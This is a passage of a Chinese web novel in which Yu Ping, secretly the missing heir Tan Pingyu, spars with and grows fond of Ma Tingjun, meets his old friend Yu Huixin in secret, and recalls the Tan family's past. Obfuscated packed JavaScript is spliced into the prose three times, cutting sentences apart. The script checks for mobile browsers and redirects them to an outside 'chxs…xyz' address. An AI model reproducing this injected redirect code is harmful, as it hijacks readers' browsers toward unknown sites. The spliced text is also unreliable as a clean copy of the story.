胖子堆笑道:“粤语也好听,技多不压身,你去教教我们五爷。” 兰香从他们三个之间钻了出来,站在俞平身旁,道:“五爷都病了,你们不给他看病,叫他学粤语?” 瘦子挺身而出,道:“就是因为他病了。我们请来有名望的郎中,他给五爷开的方子便是多讲粤语,这样嘴巴就不苦啦。” “俞平不会讲粤语的,我会。” 兰香故意干扰他们,毛遂自荐着,“我不仅会讲粤语,还会唱粤语歌曲。我替他去。” 瘦子道:“听说你算盘珠子都拨不准,怎么好教五爷?” 兰香喊道:“你真是狗眼看人低!俞平,你也不准去!” 胖子嫌同伙不灵光,把水搅得越来越浑,一把把他纤细的身材扳在后面,又道:“二位老板,五爷想学的就是英语,既然俞平不会,便是我们记错了——不过我们公馆想新订一批夏季制服,这点错不了。” 何氏撩起袖子,道:“我去。” 瘦子道:“俞平去,各房奶奶都喜欢他。” 何氏嫌他不懂规矩:“裁衣服要量体,俞平怎么能碰那些姨太太?” 胖子辩解道:“不是奶奶们要订新衣,是我们五爷。我们五爷清白着呢,老板不好去的,俞平和他年纪相仿,看一看倒是不要紧。” 俞平管自己在柜台上练楷书,心如止水,他们的热闹一概不去理会,许久才慢悠悠地答复:“我要练字。” 胖子道:“什么字帖,什么珠算,统统是小事一桩。你把笔放下,我们三个替你写。” 俞平真把笔放下了,瘦子很识时务地接过笔杆,卖弄一番,手抖得筛子似的,写得字还真有几分气韵。 想来麻家的家规还挺正统,俞平监督得饶有兴致,看瘦子冷汗冒了一额头,才顺口道:“听说莫名其妙生病是报应,可五爷平时最爱行善积德,他怎么会生病?” 瘦子道:“正是他积了太多德,天上的神仙不高兴了,罚他在人间的日子也不好过。” 俞平道:“所以他病得不轻?” “是。”胖子感动道,“俗话说,‘良言一句三冬暖’,你快去关心关心他,比什么灵丹妙药都管用。” 俞平叹气道:“可惜了,我去也没用。” 阿吉在一旁看着心急,定不允许盘中餐飞了,插嘴道:“怎么没用?” 俞平道:“我们店不做寿衣。” 阿吉急得一蹦三尺:“他没死呢!” 兰香与父母在一旁抿着嘴笑,胖子瘦子怎么看都没用。俞平照旧是一副置身事外的模样,平静道:“他要是没死,就让他自己来。” 阿吉又从嘴巴肩膀指了一遍,急得眼睛要爆炸出来:“他病了呀!” 詹老板看了许久笑话,倒也可怜起表演笑话的几人,劝道:“俞平,霆君是个好孩子,他遇到了困难,不如去看一看,和他谈不来再好回来的,我们等你一起吃饭。” 胖子保证道:“俞平爷爷,我们都是为主子卖命的,求你理解我,你只要看一眼我们五爷,就一眼。” * 三楼卧室房门虚掩。俞平探在前面,扶着把手微微扩大了门缝。胖子同阿吉满意得口水都要淌下来了,瘦子也勉强参与进他们的喜事。不想门开得一根手指塞不进,俞平扭头就走了。 阿吉挡在他面前,道:“来都来了,你不进去?” 俞平理直气壮道:“说好就看他一眼,我已经完成了。” 要说在布店张狂,没人比得过他。既然这是麻公馆,胖子不和他废话,闷闷地上前一步,要把他往门里面撞。不想俞平真有些身手,使个技巧,反而把胖子绊倒在地上。 胖子光是苦一张脸,搀着阿吉站起来,道:“哪有你这样的!” 俞平道:“哪有你这样的?说好就看一眼,临时压我的价。” 正说着,黑兔尖嘴拱开房门,滴溜溜走了出来,衔俞平的裤脚。俞平从不对黑兔置气,抱一只长枕头似的把它搂在怀里,任它又舔又亲。卧室里再是脚步阵阵——俞平头也不想抬,由黑兔呜咽一声,回旋着扑了回去,钻进麻霆君的怀里。 到底是把黑兔养大的,俞平看见黑兔对他更亲昵,分明想蹭他的怀抱。这人却说不上是抱,单是把黑兔拎成一条,很是窘迫地站在门口,怔怔地向俞平笑了笑,眼神绕在他领口脱线的圆扣:“黑兔说想和你一起玩。” 暑月的太阳比往常难熬,俞平好不容易伺候太阳落山,打开门居然又迎来个傻乎乎的太阳。麻霆君声音实在没骨气,俞平心道太荒唐,什么话都讲不出来。 瘦子阿吉借机把他推进麻霆君房间,死死捏着把手,守在门外。 俞平进去后,麻霆君哪对黑兔使得上力气,随它挣脱了绕着俞平转。 俞平不说话,单膝跪在地上挠黑兔的下巴;少时麻霆君坐在黑兔尾巴旁,俞平对他笑一笑,道:“黑兔和我说,它想要休息。” 麻霆君往前面挪了挪,唤了声黑兔,黑兔转了半圈,回到他怀里。他作势把头侧在黑兔嘴边,必然是心里想不好,又被舔的遭不住,才:“黑兔想要问你,愿不愿意原谅我。” 俞平左手背在身后掐右手,以维持面上什么表情都不做,佯装漠然,道:“我看五爷病得不轻,五爷才是最应该休息的。我该走了。” 麻霆君忙道:“俞平,我们还是朋友,对吗?” 忽然想起来鹭镇一切长辈的共同意识:麻霆君是少年中的榜样,好孩子——他真是个好孩子。俞平有时看他也可怜,更多时候想抓着他的头发揉他一把,往他手臂上掐一把也痛快。 俞平的目光往在麻霆君身上刻,非把自己逼得惹火烧身,掐自己再重,传递到心上的痛感微微,只剩下畅快。火烧得再厉害,烧不去心里痒,只好全发泄在麻霆君身上,非逼得麻霆君不高兴为止。 他轻蔑笑了笑,道:“天底下有这么多人物,五爷为什么偏偏交我这个朋友?” 见麻霆君不应,俞平报复心上来,又道:“五爷要是想叫我做情人,和我谈拢价格就好了。不需要如此大费周章。” 麻霆君见他实在张牙舞爪,不想空手接他的刃,却答不出来,实在是委屈;委屈积多了,引来俞平身上的火。火蔓延在麻霆君身上,成了一股愤怒:他不缺新朋友!枢城是有不少嫌他出身不在江北公馆域,把这部分挑去,愿意与他交往的更多。 他麻家扎根至此生生不息,教育出的都是顶天立地的正人君子。俞平的白眼算什么?一刀两断又如何?他以后去枢城,有大好年华排着队静候消磨,何苦被耍得团团转! 麻霆君五脏六腑烧了个全,烧至他下定决心,憋出几句体面的告别语,正是要开口硬气一把——哪知道俞平有这么美!光是看他眼角尖尖,动人地腻着洁白光泽,麻霆君便只好继续窝囊着了; 什么顶天立地,天不是供人削尖脑袋顶穿的,地不是白遭人踩踏的,万事万物皆有灵,俞平再是满腹坏水,便是叫他拿君子之心平息的。 麻霆君心里无力回天,失了表情管理,一概映在五官,脸上就剩出生年月没写出来。 俞平哪看不穿他?不想叫他看穿自己笑得实在开怀,只好匆匆低头道:“我和谈文翡有些渊源,若不是被佣人绑了,说不定真要见到他,我是不想见他的,实际上反而要谢谢你。一直没提起,是因为我不想记挂他,没想到你一直介意。” 又道:“这事就当翻篇了,行吗?” 麻霆君被他说得愣了,许久讲不出话。末了估计认定俞平看他不耐烦,陪上一个意义不明的微笑,僵硬又标准,两颊的肉被嘴角向上戳着。 俞平笑道:“我知道你在想什么!你一定在想,我从前是不是给谈文翡作情人的。” 麻霆君好端端抱了黑兔,把脸埋进油光水滑的皮毛之间,闷闷地道:“我是什么都没想,不怕你冤枉。” “你不好奇?” “你要是想告诉我,我肯定愿意听。” “那我不讲了。” 麻霆君心底里不想追究。若是自家佣人不长眼,得罪俞平的事迹翻篇,俞平作情人的过去也应当翻篇。无奈他听得出俞平要自己继续哄,把贴在黑兔身上的左脸改为右脸,道:“我倒不觉得有多么难以理解。谈文翡这样英俊的人物,讲心里话,我也愿意听他的。” 不料俞平神色一变:“什么意思,你喜欢他?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“看到五爷肩膀酸,我干活,比手断了还累。” “看到五爷心里痛,我呼吸,比不呼吸还闷。” 俞平插嘴道:“嘴巴苦?嘴巴有多苦?” 本就是无病呻吟,谁知道嘴巴有多苦?俞平此时一问,必然是顿顿吃黄连一般苦。麻霆君眼珠转半圈,脸上呈现一副正逞强的嘴脸,道:“苦是苦了些,你五爷忍得住。” 俞平便从口袋掏出糖罐,晃了晃,笑道:“是你叫他们丢脸的,快给他们道歉,保证再不来布店骚扰我们了,我也积点德,给你治一下。” 糖罐看着眼熟,麻霆君认出来,是去枢城买给他的;不知道俞平的噩梦做的怎么样,总归麻霆君若是真道歉了,必然又换作麻公馆的伙计噩梦不止。他五爷八面玲珑,必然是有两边都能够较好的法子,哪想的到俞平半眯着眼睛看他,笑意若有似无,像是抛了个媚眼。 麻霆君立刻道:“胖子对不起!瘦子对不起!李喆对不起!” 俞平开糖罐之际,胖子瘦子全放弃了挣扎,剩下阿吉还算活络,不知道犯什么,猛然咳了咳。麻霆君自以为懂他,突然惨叫一声,道:“肩膀酸!” 这属实在俞平预料之外,糖罐开了一角,忘记掀开。再看麻霆君,麻霆君又愁眉苦脸,道:“哎呀,手都抬不起来。” 想来阿吉的本意并非于此,兴许有人能够能听见他四分五裂的声响。 麻霆君真是乖乖张着嘴候着。俞平不想他吃到自己手,把糖弹进嘴,没料准麻霆君配合得过了头,早他一步衔了糖走,俞平弹的便是麻霆君的嘴唇。 麻霆君嚼着糖果,唇上火辣辣的痛着,还朝俞平笑一笑——他有什么好笑得出来?他真是笑得灿烂无比,道:“我吃得太快了,什么味道都没尝出来。再给我一颗。” 俞平道:“不给。” “小气什么,我就多要你一颗,你还有一罐呢。” “和我讨价还价?” 麻家是商业世家,麻霆君从小到大,耳濡目染经商的风气。可见颜面尽失换来的是尝到甜头,他又道:“哎呀,心里好痛啊。” 俞平不忍戳破,笑道:“心里痛怎么吃糖?” “糖吃进肚子里,总是要经过心的。” “张嘴。” 新一颗糖落在麻霆君心上,俞平不给他再讨要的机会,笑过便是告别。胖子瘦子阿吉死了好长一会,眼睁睁看着他心情颇好地消失在楼梯之间。 麻霆君心满意足,唯一的遗憾是舍不得再嚼糖果,光是含着,使得说话时漏着风,感叹道:“这糖不错,我要把全枢城的货架都搬空。” 他最后扫一眼三人,轻飘飘地道:“嗳,还是道歉好。” 32.杏黄 自麻霆君挂完他姐姐电话,贝琴公寓里炸得不轻。二位女士你一言我一语,把麻霆君什么心思都猜了一遍,哪种方向不免往俞平身上去。 晚上见到颜青,再把颜青架起来烤了一遍,只知道俞平是个不爱搭理人的绝世美人,从前在枢城做水手。 真要打听俞平,也不知道往什么方向去。好在就目前而言,俞平不论归了哪位弟弟,都顶着相同一位姐姐。作这位姐姐的麻添姝,实在好奇,次日约了郁蕙心回一趟娘家。 颜家凡是好车,都叫颜青开去充面子,麻添姝只能轮了辆次一些的,来时颠簸一路。 “二小姐,回来了!” 门口的伙计一看是麻添姝回来,笑得比过年都开心。麻添姝嫁去颜家太风光,回来时格外气宇轩昂,皮夹里掏一把钞票,见者有份。郁蕙心跟在后面也要开皮包,遭麻添姝拦下了。 今日老爷与大爷都不在家,麻添姝找的并不是他们;妹妹们分成出嫁的、未出嫁的,念书的三批,不论哪一种,上午都不在家;至于唯一的弟弟——无所事事又姗姗来迟的麻霆君,由胖子瘦子簇拥着闪亮登场,头上更是做戏做全套地戴上一顶绅士帽。 “稀奇,怎么想得出戴帽子?家里带帽子和打伞一个功效,不怕长不高……哦,你倒是够高了。” 麻添姝最看不惯他花枝招展,又道,“听说往头皮上擦生姜,可以生头发。” 麻霆君没依法炮制地挑她的刺,道:“颜青来了吗?” 麻添姝道:“你看见他了?” 麻霆君真是老老实实再检查一番,才道:“没有。” 麻添姝眼睛一瞪:“是你叫我别带他来!我听你的话,你居然记挂他。” 又道:“俞平呢?” 麻霆君装傻道:“什么俞平?” 麻添姝道:“俞平!布店长工,从前做水手,小狐狸精,你和阿青都喜欢的那个!” 麻霆君道:“没想到今天有这么闷,我看前厅是坐不下去了,不如去花园乘风凉。” 麻添姝气不打一处来,嚷着要看俞平。麻霆君不反抗,叫胖子瘦子把她请去花园等着。郁蕙心便也慢慢跟在后面,走出几步,悄无声息回了来。 她上回劝麻霆君干脆从了谈四,实在口不择言,回去冷静了,才想起要赔礼道歉。见到麻霆君还在前厅,手上收拾她们剥开的糖纸,上前道:“霆君,你好。” 麻霆君必然是不太会和她相处,首先吓了一跳,才对她笑了笑。 郁蕙心又道:“我和颜青熟悉,因此对你也不太客气……我是想到谈家实在富贵,才怂恿你去,一定不是想要侮辱你。我感到很内疚,实在抱歉,希望你不要放在心上。” 麻霆君轻松道:“你不用感到内疚,我倒是想谢谢你。” 郁蕙心道:“谢我?你想清楚了,要去谈家?” 麻霆君笑道:“不是!” 又道:“我是想上进,却也不是非要大富大贵不可,还是感情更加重要些。这事是强求不来的,不如我们不提了。” 郁蕙心看他不生气,便不去追究后续,心上倒反更加过意不去了。麻霆君必然是个才貌双全的好人,难怪叫谈凭玉念念不忘;至于谈凭玉的事情,谈文翡又说得装神弄鬼一般,郁蕙心吃不准,只当他安然无恙来安慰自己。 她道:“你现在还是单身吗?” 麻霆君道:“说是也是,说不是也不是。我是有喜欢的人的,名义上倒真是单身。” 郁蕙心才记起有个俞平横插一脚。那天讨论出的结果,无疑是麻霆君爱他爱得热烈; 麻霆君与谈家必然相互看不上,要说谈凭玉冲破重重阻拦,真与他在一起了,做大都是天大的委屈,何况他心上还牵连一个俞平。 郁蕙心再要劝他,倒是把谈家的威名拦腰斩断了,便也笑道:“我相信你可以的。” 正巧阿吉牵着黑兔要出门,郁蕙心见到大狗,弯下腰逗了一阵。麻霆君还在收拾糖纸——真是可怜谈凭玉,难得寻到良君,又要与孤独作伴了。她往后催了声,管自己快步追麻添姝。 麻霆君弯着腰,翻来覆去要把糖纸叠成花,才熬到郁蕙心离开。 俞平是和谈文翡有渊源的,郁蕙心却是谈文翡曾经的未婚妻。麻霆君难得聪明一会,猜测俞平和郁蕙心也必然不好见面;上前挡着阿吉,讨来牵引绳,捏在手里,道:“去布店看住俞平,别让他来了。” 阿吉道:“五爷,不是说不让我们去布店吗?” 麻霆君不想浪费时间,只道:“叫你去你就快去,回来再告诉你。” 阿吉接过圣旨便往布店跑。这天兰香不上学,把字帖托付给俞平,自己照着课本研究一会算数,又兴趣盎然挨在俞平身旁。 “你悄悄告诉我,五爷发的是什么疯?” 俞平不想一五一十全盘托出,只道:“他们家佣人嘲笑我。怕我在镇上宣扬,一定要叫我不生气。” 兰香惊叫道:“有这种事情!我去帮你说理!” 俞平笑道:“别去了,这种事情不用放在心上。” 兰香却不罢休,卷着袖子,对空气打了几拳,还不解气——远远见到阿吉跑过来,她第一个冲上去,踩在他面前:“又来了?这回五爷生的什么病?” 不想阿吉叹气道:“病是不会病的,不过我看他也不正常。” 兰香看他跑得虚脱,上下扫了他一阵,道:“是不是五爷自己把俞平惹恼了,不肯承认,还要特地找个替死鬼出来?” 阿吉道:“大小姐,有一句话是‘捧在手上怕碎了,含在嘴里怕化了’,说得就是现在的五爷。” 他绕过兰香,往里面走,见俞平身旁还有把闲置椅子,坐了上去,道:“五爷直说叫我来看住你。” 俞平忍俊不禁,道:“他又怎么了?” “你那糖……” 阿吉再欲言又止,往他脸上看了三四轮,还是问道,“你往糖里下过药吗?” 俞平道:“我给他下什么药?他够傻了。” 阿吉纳闷道:“可我看他就是吃过你的糖,才开始变怪的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505348|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 兰香闻声冲了过来,两只手拍在柜台上,惊起闷响一声,道:“哪有糖!” 俞平手上写着大字,淡淡道:“吃了变笨糖,兰香小姐,你怎么期末考?” 兰香道:“没劲!你要是吃独食,我不饶你的!” 她光是嘴上有功夫,阿吉从口袋里摸出几个甘草糖给她,她便专心致志吃起糖,看俞平也格外顺眼了。 俞平没有去麻公馆没事找事的心思,阿吉看他无聊;兰香吃过糖后安分不少,阿吉看她也无聊;百无聊赖之间,便是与他们闲谈天,哪里开了一株蒲公英的话都讲出来。实在说不出话了,再聊了几句家事:“我家二小姐今天回来了。” 兰香道:“她是受了气么,往娘家躲。” 阿吉道:“哪有,二小姐是带朋友一起回来玩的!我看好像是那天谈二身边的女伴,和她一起回来了。” 俞平愣了愣,手上动作僵着,毛笔跌在字帖上,墨水漏出个大污点。他顾不上兰香诧异目光,先道:“郁蕙心?” 阿吉嫌他反应太大,自己照旧态度随便,道:“我不认识她,你说是便是吧。” 俞平却是跨出柜台,往门口跑。阿吉见状,立刻追了上去,好不容易捞到他飞扬的长衫后摆,死死攥住,道:“你跑到哪里?” 俞平道:“我去麻公馆!” 阿吉痴呆道:“五爷说不让你去,你要是去了,我怎么办!” “我就是要见麻霆君!”俞平扯着衣衫,“我喜欢他还不行吗?松手!” 这话说得阿吉全失了招架之力,眼睁睁看着他的背影消失在门外。兰香从未见证过俞平如此失态,还以为他真是笼子里拘惯了的一只鸟,一时间瞠目结舌,只道:“我看俞平是不像会招惹女孩的,他什么时候喜欢五爷了?你刚才说的下药,是五爷给他下了药吧。” 阿吉木木道:“哇,这说不好。” * 麻家后院一圈姨太太,郁蕙心一个不认识,没陪麻添姝一个个招呼过来。她和麻霆君也没什么话要讲,遣了跟在身后的佣人,管自己在中庭花园逛着。花园没什么值得透气的,她来过一遍,新鲜劲过了,嫌摆的西式喷泉太唐突。 要是摆在谈文翡院里,还能嘲笑他一番,可惜是麻霆君,看喷泉也有些可爱。郁蕙心再不喜欢谈文翡,却也相信他的审美;只要不和自己扯上关系,她是愿意祝福他的。空想的时候,小腿肚上挨了个松果,粗糙棱角砸得她吃了一惊。 远远又抛来一个松果,落在灌木旁的小径。郁蕙心回头看了看,有园丁修建草木,倒也不怕出了事,想去一探究竟。松果正是顺承了她的心意,一个个抛,直至一片树林旁才停。 郁蕙心道:“谁这么无聊?” 树林之间竟真有动静,底下树枝与落叶噼啪作响,钻出个蓬头垢面的小兽——再看一眼,居然露出人的面孔。郁蕙心双手捂住嘴,避免失声惊叫,道:“是你!” 俞平慌张地把手指压在嘴唇间,比一个噤声的手势,道:“轻点,不要让他们发现!” 33.水洼 久别重逢,郁蕙心双手捂在嘴上,什么话讲不出,眼泪率先跌了下来。俞平把自己身上泥土与枝叶掸干净,才往她身边靠,顷时抱着哭作一团。 许久后郁蕙心抽出手帕拭泪水,再把俞平的脸擦了擦,抽抽嗒嗒:“你不在的日子,我整天安慰自己没事,好在终于见到了你。你怎么想的,拿松果把我敲出来?” 俞平心里泛起困惑,冷了一瞬,道:“你为什么来鹭镇?” 郁蕙心道:“为什么?颜青和麻霆君都爱一位叫做俞平的,霆君的姐姐是颜青的嫂子,又是我的朋友,不想看见他们反目成仇。我是没事做,和她一起过来了。” 撞上郁蕙心,海难的前因后果道不明白,却把麻霆君爱他的事情抖个干净。不论俞平如何逃避,如何不去面对,遭郁蕙心一言挑出来了,钻进他的身体里。 麻霆君喜欢他,他会感受不出来? 他不去爱麻霆君便是了,不去答应,不去计较。麻霆君再有趣又如何,再合他的心意又如何,他是要回家的。家是江北最沉的一块阴翳,纳不下麻霆君。 夏初阴雨连绵,树丛中水渗不干净,俞平余光看见自己身影晃荡,斑斓在一汪水洼里。 见他走神,郁蕙心摇晃他的肩膀:“凭玉,你愣什么!” 俞平吓得站不住脚,猛然往后退一步,脚后跟狠狠踩在水洼之中。谈凭玉的光彩顷刻碎得四分五裂,再复原时,水洼倒映出铺天盖地的绿叶。剩下俞平定了定神,道:“我是坐船回来的,中途多转了几个省。最后一班里有人早在船上埋伏,要我的命。” 他望了眼郁蕙心,又道:“那天你和文翡一起来麻公馆,在柴房边上说的,我都听见了。我想应该不是文翡害我,所以给他寄了信。我以为他请你过来,没想到是歪打正着。” 他说得清楚,郁蕙心却听不明白,从海难到谋害,凭玉遭得住,她一时无法接受,道:“你是被人害的,谁会对你下手?” 俞平委屈道:“我谁也没得罪过!那时候一直无事发生,我才想提前回来。” “要说他人害你,必然有缘由。我清楚你的脾气,你不会乱惹是生非。”郁蕙心安慰道,“听文翡的意思是你还不能公开露面,就算忙也大门不出,想得罪人也没机会。” 俞平低头道:“就是因为这样,我一个人也猜不准,越想越荒唐。” 麻公馆外有野狗狂吠,一石激起千层浪般,镇上不论远近的狗都叫起来。麻公馆的人出去一只一只斥散,又因为后院里姨太太好心肠的缘故,狗都喂熟了,见到他们只来讨食,便是乱上添乱。树林不是密会的理想场所,俞平领着郁蕙心抄小路去柴房。他个子高,在前面挡了不少,郁蕙心到柴房时却还是满头绿叶。 麻公馆的柴房从来不设防,推门进去,毫无悬念地只有堆作小山的柴火。俞平轻车熟路掩了门。 郁蕙心看他,心里实在可怜,把他搂在怀里,轻轻拍着后背。俞平憔悴太多,瘦骨嶙峋,郁蕙心想为他分忧,却寻不到方向,干脆多关心他几句,道:“你还知道什么?” 俞平仓促一笑,道:“我才在鹭镇住下没几天,邻镇修桥,一时间走了许多人,都说是家乡出事。我打听过,他们不是同乡人,也不像是不满薪酬。我想一定有人在打探我的消息,他们知道我还活着。” 那天回去之时,郁蕙心跟谈文翡坐一辆车,听见下属汇报,不避讳她:谈凭玉在板上钉钉是遭人暗算,但他出行阵仗大,属下都是谈家的老人,只有内鬼。 上一辈再有恩怨,又说虎毒尚不食子,若真能下狠心,必然不会眼睁睁到他十八岁。而对于这位弟弟,谈文翡从来都是不屑一顾的;谈行一真在心里打算盘,也力不从心—— 郁蕙心不敢全盘托出,挑了好的告诉他:“文翡查出一些眉目,你干脆将错就错地在镇上好好养着,枢城有什么风吹草动,我会来告诉你的。” 俞平低头不语。她道:“其实你心里有数,是吗?” 谈家实则盘根错节,他谈凭玉恃宠而骄惯了,有时甚至敢对父亲叫板。唯独不敢忤逆谈皎。 父亲年迈,谈家要易主,人选方面,大家都心照不宣。他能平步青云,少不了谈皎在暗中的助力。谈皎却是恨他的,尽管他们统一战线,明面里依然推出谈皎受气,他渔翁得利。 一点隐隐约约的恨意足够把他淹没,却叫他侥幸逃脱了。他懂谈皎,若是再打上照面,便是装着风平浪静,一切无事发生。 他勉强挤一个笑,请郁蕙心放心:“我不知道。” 郁蕙心不愿插手他们家事,想说些好事慰藉。无奈自谈皎与谈文翡的婚姻双双折翼后,谈家再没什么新意,都是几件旧事翻来覆去。 又说没有消息便是最好的消息,气氛低落成这样,她要找话题,但是一时却不知道同他说什么,想起麻霆君,才道:“我要告诉你一个坏消息。” 俞平戒备几分。郁蕙心笑道:“我要说的不是你想的这样!之前你在货轮上一见倾心的,正是这家的霆君。可惜霆君有个喜欢的人,名为俞平。哎呀!轮不到你了。” 她这话撂下后更不得了——愈是不想提起的事情,愈是遭人翻来覆去。俞平被戳破似的,也不想隐藏什么,眼睛流露出十分机警,笑得不明。 郁蕙心看他难得可爱,认定其中必有隐情。两个名字念叨一阵,忽然开窍道:“你不会就是俞平吧?” 俞平笑道:“这都被你看出来了?你去做侦探,好好研究是谁想害我。” “你怎么想出叫俞平的?我还真怀疑过是凭玉颠倒过来,又觉得实在太浅显。” “是五爷他们听错了……” “五爷?” 郁蕙心嬉笑着打断他,道,“世道变了,他不叫你四爷,倒是你叫人五爷?” 俞平窘迫道:“叫顺口了。” 心中不乏懊悔:当是被麻霆君传染了,自己也蠢得不轻。 郁蕙心笑道:“我想把你介绍过去,谁知道麻霆君一开始就拒绝了我,他说他心里正为人守贞。他人还不错,我还为你感到惋惜,原来是你,你们也算是情投意合了。” 她再点点俞平的额头,又道:“什么叫‘好事成双’?失踪的是一个,回家的是一双。” “我从前是对他的外表有些憧憬,实际相处以后,发现他和我的设想很不一样。” 俞平眼神躲闪,道,“细细想来我一直看出端倪,没想到他真的有点……不太聪明。” 郁蕙心更要笑话他了:“我当是你以为他要压你一头,你毕竟做惯了四爷,要是被他踩扁,外面有的是人要笑话你。你没继承文翡的精神,一定要在所有人之上吗?” 这便要从他们两人打了一架的事情提起——那时候俞平身体大不如前,自以为还能与麻霆君比上一比,谁想到输得如此没有悬念,往后他伤心了好一阵子。这事实在太窝囊,俞平无论如何开不了这个口,瑟缩一阵,只道:“我倒不如他霸道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14543818|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 又道:“家里说是要安排我的婚事,到现在也没提起。我要是突然带个人回去,怕是太不体面。” 郁蕙心道:“你也是真走心,还没和他发展什么,往哪里走都想清楚了。” 俞平道:“唉呀,蕙心姐,不说这个了。” 郁蕙心倒是还想借机拿他打趣,然而不远处的后门异响不止,传到柴房中格外明显。俞平躲在门缝处看一眼,原来是阿吉来找他了。 此处必然不宜久留,他立刻放低声音,问郁蕙心讨电话号码。 郁蕙心也小声道:“我手上没带纸笔。不过先前我给麻霆君留过电话,他既然喜欢你,你多去麻烦他也无妨。其余还有什么,你缺钱吗?” 俞平道:“就算是有钱,我也花不出去。” 郁蕙心才不管他,卸了耳朵上两个黄金耳堵,不由分说拨开俞平的鬓发,为他戴了上去:“你耳朵上不该空着?耳洞都要长实了。现在戴上就别拿下来,你头发长,盖得住。” 又道:“我常去你家,要是有什么事,我会帮你照顾的。” 俞平随她摆布,听见家里的事情,心里尽是酸楚,道:“我活着的消息,什么人都不要说。” “我会为你保密的。” “我先出去,你过一刻钟再走,他们家人心眼少,不会怀疑。” “多保重!”郁蕙心见他悄悄开门,目光顺在他手指上,再挪不开。正酝酿一连串的叮嘱话语,全然化了一句,“你的扳指……” 俞平只朝她笑了笑,钻出门去。 麻公馆的布局,俞平到现在都不甚熟悉,想来阿吉往后门进来,他若是也抄哪条小路,万一撞见,更加不知如何收场;布店必然是回不去的,镇上白天不乏麻公馆的家丁,无法叫他游荡。 前厅的屋顶在树影婆娑中若隐若现,俞平下定决心——不如赌一把! 那边阿吉不想也不敢从中掺和一脚,管问兰香讨饱水喝,匆匆回了麻公馆。他做一个传话的角色还算称职,三下五除二在前厅找到他们五爷的身影。 麻添姝还在后院与母亲叙旧,她的母亲只是麻霆君的姨娘,他不想从中扫兴,也见不到郁蕙心,便管自己回了前厅;二姐若是再要吩咐,也方便找他。 “五爷!俞平来麻公馆了,你见过他吗!” 阿吉才不管他看没看见,又道,“不是我拦不住,是他自己想要来。你说是为什么?你要是知道了,怕不是晚上都睡不着。” 麻霆君不解其意,只是茫然。 阿吉朝他隐秘一笑,顺带四根手指在他臂膀上娇俏拍了把,道:“俞平说他喜欢你!他一刻也等不及,马上要跑过来见你了!” 俞平正踩着他的尾音,匆匆来到前厅。他听见阿吉的言语时跑得仅存一丝理智,脚步却刹不住了,见到那两人,一同面面相觑;还是麻霆君率先开的口,尽管他光是看见俞平的眼眸,一切尽在不言中了。 “俞平?” 前厅最引以为傲的设计,便是通透的落地玻璃窗。中庭花园夏意浓重,麻霆君正巧挡在一墙枝繁叶茂前,两团红晕贴在脸上,便是两朵绽放的红花。 三年前货轮上麻霆君也有此时这般傻,刮花他的新车,非要等主人来问责。他提前钻进货舱看一眼,谁想到麻霆君劝他快点跑。 “这车全枢城就一辆,是谈四爷的!你趁现在下船,否则一起糟拖累。” ……俞平只好向他微笑,微笑,再微笑。 34.好命 三年前。 瑞奏江将枢城一分为二,最早只有江东繁荣,日后枢城经济蒸蒸日上,江南也开发了起来。江东最有才干的一批人物,聚集滨江一带,划一块地专门修公馆。 行至最深处,屋外没有牌匾的一户,便是谈公馆。 第五个孩子遇害后,谈公馆始终沉寂着,每逢各大节日,破天荒第热闹一会;生日宴是其次热闹的,下一代四个孩子里,唯独谈文翡的生日能与老爷的比肩。 谈老爷年轻时,谈家尚是厚积,还未薄发。压在谈家之上的有一户姓严,他高攀的正妻便是严家的掌上明珠;然则他自以为婚姻里有诸多不如意,一心扑在事业,直至谈家拔尖,纳了枢城最当红的电影明星作二房,又是自以为扳回一城。 第一个孩子是二姨太的谈皎。 谈皎最初叫谈娇娇,严太太腆着大肚子赐的名。二姨太正是一朵娇花,欢天喜地接受了;老爷不知是违抗严太太亦或她的思想,大为不满,却不好扫严太太的兴,只掉包一个字,改为谈皎。 二姨太生完谈皎后身体大不如前,过七年又把凭玉拼了出来,抵不过一场流感,早早去了。而后谈皎与谈凭玉落在严太太手上。严太太不肯甘心,主张亲上加亲,叫谈皎和严家再联姻。 婚礼前夕,新郎死得不清不楚,谈皎没再找未婚夫,守寡迄今。 谈文翡在婚姻上不做抗争,严太太原先把郁蕙心订给他。郁蕙心跑了,他也不挽回。 三年前的生日宴依然由严太太一手操持,宴请一众名流。说是过生日,实际是为谈文翡再捕一场婚姻。 郁蕙心作为前未婚妻,也遭到了邀请,一进门便被严太太携爱子黏了上。 严太太挽着郁蕙心温声细语,郁蕙心看她身边的长发高挑男子发怵——上次见到谈文翡是在许久之前,郁蕙心拒绝他们时说得隐晦,只说自己喜欢长头发的。没想到严太太实在喜欢她,一定要谈文翡也蓄发。他的长发束在一起照样垂在手臂之间,闪闪发亮,叫郁蕙心看得自愧不如。 